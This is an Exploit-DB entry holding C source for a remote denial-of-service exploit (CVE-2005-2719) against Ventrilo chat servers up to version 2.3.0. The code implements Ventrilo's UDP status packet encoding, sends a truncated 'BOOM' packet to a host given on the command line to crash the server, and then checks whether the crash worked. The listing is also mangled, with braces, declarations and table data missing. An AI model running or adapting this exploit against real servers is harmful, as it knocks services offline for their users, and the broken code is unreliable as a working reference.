Ventrilo <= 2.3.0 - Remote Denial of Service Exploit all platforms

ID EDB-ID:1176
Type exploitdb
Reporter Luigi Auriemma
Modified 2005-08-23T00:00:00


Ventrilo <= 2.3.0 Remote Denial of Service Exploit (all platforms). CVE-2005-2719. Dos exploits for multiple platform


by Luigi Auriemma

Windows compiled version:

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

Ventrilo UDP status algorithm 0.1
by Luigi Auriemma

This algorithm is the method used by the chat program Ventrilo
( for encoding the UDP packets used to get
the status informations.

struct ventrilo_udp_head
void ventrilo_udp_head_dec(unsigned char *data)
void ventrilo_udp_head_enc(unsigned char *data)
void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key)
unsigned short ventrilo_udp_data_enc(unsigned char *data, int len)
unsigned short ventrilo_udp_crc(unsigned char *data, int len)

Watch my "Ventrilo status retriever" code for a simple and practical example:

    Copyright 2005 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA


#include &lt;time.h&gt;
#ifdef WIN32
    #include &lt;winsock.h&gt;
    #define VENTRILO_RAND   clock()
    #include &lt;netinet/in.h&gt;
    #include &lt;sys/times.h&gt;
    #define VENTRILO_RAND   times(0)

typedef struct {
    unsigned short pckkey;  // key for decoding this header
    unsigned short zero;    // ever 0
    unsigned short cmd;     // command number: 1 generic info, 2 for details
    unsigned short id;      // packet ID used for tracking the replies
    unsigned short totlen;  // total data size (for data splitted in packets)
    unsigned short len;     // size of the data in this packet (max 492)
    unsigned short totpck;  // total amount of packets (max 32)
    unsigned short pck;     // current packet number
    unsigned short datakey; // key for decoding the data
    unsigned short crc;     // checksum of the total plain-text data
} ventrilo_udp_head;

const static unsigned char  ventrilo_udp_encdata_head[] =

const static unsigned char  ventrilo_udp_encdata_data[] =

void ventrilo_udp_head_dec(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,

    p = (unsigned short *)data;
    data += 2;

    *p = ntohs(*p);
    a1 = *p;
    if(!a1) return;
    a2 = *p &gt;&gt; 8;

    for(i = 0; i &lt; 18; i++) {
        data[i] -= ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;

    for(i = 0; i &lt; 9; i++) {
        *p = ntohs(*p);

void ventrilo_udp_head_enc(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,

    p = (unsigned short *)data;
    data += 2;

    *p = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) &gt;&gt; 16) & 0x7fff;
    a1 = *p;
    a2 = *p &gt;&gt; 8;
    if(!a2) {
        a2 = 69;
        *p |= (a2 &lt;&lt; 8);

    for(i = 0; i &lt; 10; i++) {
        *p = htons(*p);

    for(i = 0; i &lt; 18; i++) {
        data[i] += ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;

void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key) {
    int             i;
    unsigned char   a1,

    a1 = key;
    if(!a1) return;
    a2 = key &gt;&gt; 8;

    for(i = 0; i &lt; len; i++) {
        data[i] -= ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;

unsigned short ventrilo_udp_data_enc(unsigned char *data, int len) {
    int             i;
    unsigned short  key;
    unsigned char   a1,

    key = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) &gt;&gt; 16) & 0x7fff;
    a1 = key;
    a2 = key &gt;&gt; 8;
    if(!a2) {
        a2 = 1;
        key |= (a2 &lt;&lt; 8);

    for(i = 0; i &lt; len; i++) {
        data[i] += ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;


unsigned short ventrilo_udp_crc(unsigned char *data, int len) {
    unsigned short  crc = 0;
    const static unsigned short table[] = {
        0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
        0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
        0x1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
        0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
        0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
        0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
        0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
        0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
        0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
        0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
        0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
        0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
        0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
        0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
        0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
        0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
        0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
        0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
        0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
        0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
        0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
        0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
        0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
        0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
        0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
        0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
        0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
        0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
        0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
        0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
        0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
        0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0

    while(len--) {
        crc = table[crc &gt;&gt; 8] ^ *data ^ (crc &lt;&lt; 8);



#ifdef WIN32
    #include &lt;winsock.h&gt;
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)

#include &lt;string.h&gt;
#include &lt;errno.h&gt;

void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    fprintf(stderr, "\nError: %s\n", error);

//inserted headers /str0ke

    #define close   closesocket
    #define ONESEC  1000
    #include &lt;unistd.h&gt;
    #include &lt;sys/socket.h&gt;
    #include &lt;sys/types.h&gt;
    #include &lt;arpa/inet.h&gt;
    #include &lt;netinet/in.h&gt;
    #include &lt;netdb.h&gt;

    #define ONESEC  1

#define VER         "0.1"
#define PORT        3784
#define MAXPCK      32
#define MAXPCKSZ    492
#define TIMEOUT     2
#define RETRY       2

int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);

struct  sockaddr_in peer;

int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);

    setbuf(stdout, NULL);

        "Ventrilo &lt;= 2.3.0 server crash "VER"\n"
        "by Luigi Auriemma\n"
        "\n", stdout);

    if(argc &lt; 2) {
            "Usage: %s &lt;host&gt; [port(%hu)]\n"
            "\n", argv[0], port);

    if(argc &gt; 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd &lt; 0) std_err();

    fputs("\n- check server:\n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) &lt; 0) {
        fputs("\nError: no reply received, probably the server is not online\n\n", stdout);


    fputs("\n- send BOOM packet:\n", stdout);
    ventrilo_get_status(sd, 1, "", 1);


    fputs("\n- check server:\n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) &lt; 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);


int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug) {
    ventrilo_udp_head   *stat;
    int     i,
    u_short id,
    u_char  buff[20 + MAXPCKSZ],
            full[MAXPCKSZ * MAXPCK],

    stat = (ventrilo_udp_head *)buff;
    data = buff + 20;

    strncpy(data, pass, 16);

    stat-&gt;zero    = 0;
    stat-&gt;cmd     = cmd;
    stat-&gt;id      = id = time(NULL);
    stat-&gt;totlen  = 16;
    stat-&gt;len     = 16;
    stat-&gt;totpck  = 1;
    stat-&gt;pck     = 0;
    stat-&gt;crc     = ventrilo_udp_crc(data, 16);
    stat-&gt;datakey = ventrilo_udp_data_enc(data, 16);

    for(retry = RETRY; retry; retry--) {
        sendto(sd, buff,
            20 + (bug ? 0 : 16),    // BUG exploited here
            0, (struct sockaddr *)&peer, sizeof(peer));
        if(!timeout(sd)) break;
    if(!retry) return(-1);

    i      = 0;
    totlen = 0;
    memset(full, ' ', sizeof(full));    // in case of packet loss

    for(;;) {
        len = recvfrom(sd, buff, sizeof(buff), 0, NULL, NULL);

        if(stat-&gt;id != id) continue;

        if((len &lt; 20)                 ||
           (stat-&gt;totpck &lt; stat-&gt;pck) ||
           (stat-&gt;totpck &gt; MAXPCK)    ||
           (stat-&gt;len    &gt; MAXPCKSZ)) {
            fputs("\nError: wrong or incomplete reply received\n", stdout);

        len    = stat-&gt;len;
        totlen += len;
        if(totlen &gt; sizeof(full)) break;

        ventrilo_udp_data_dec(data, len, stat-&gt;datakey);
        memcpy(full + (stat-&gt;pck * MAXPCKSZ), data, len);

        if(++i == stat-&gt;totpck) break;
        if(totlen == stat-&gt;totlen) break;
        if(timeout(sd) &lt; 0) break;

    crc = ventrilo_udp_crc(full, totlen);
    if(ventrilo_udp_crc(full, totlen) != stat-&gt;crc) {
        printf("- wrong checksum: mine is %04x while should be %04x\n\n", crc, stat-&gt;crc);

    fwrite(full, totlen, 1, stdout);

int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err &lt; 0) std_err();
    if(!err) return(-1);

u_int resolv(char *host) {
    struct hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
        } else host_ip = *(u_int *)hp-&gt;h_addr;

#ifndef WIN32
    void std_err(void) {

// [2005-08-23]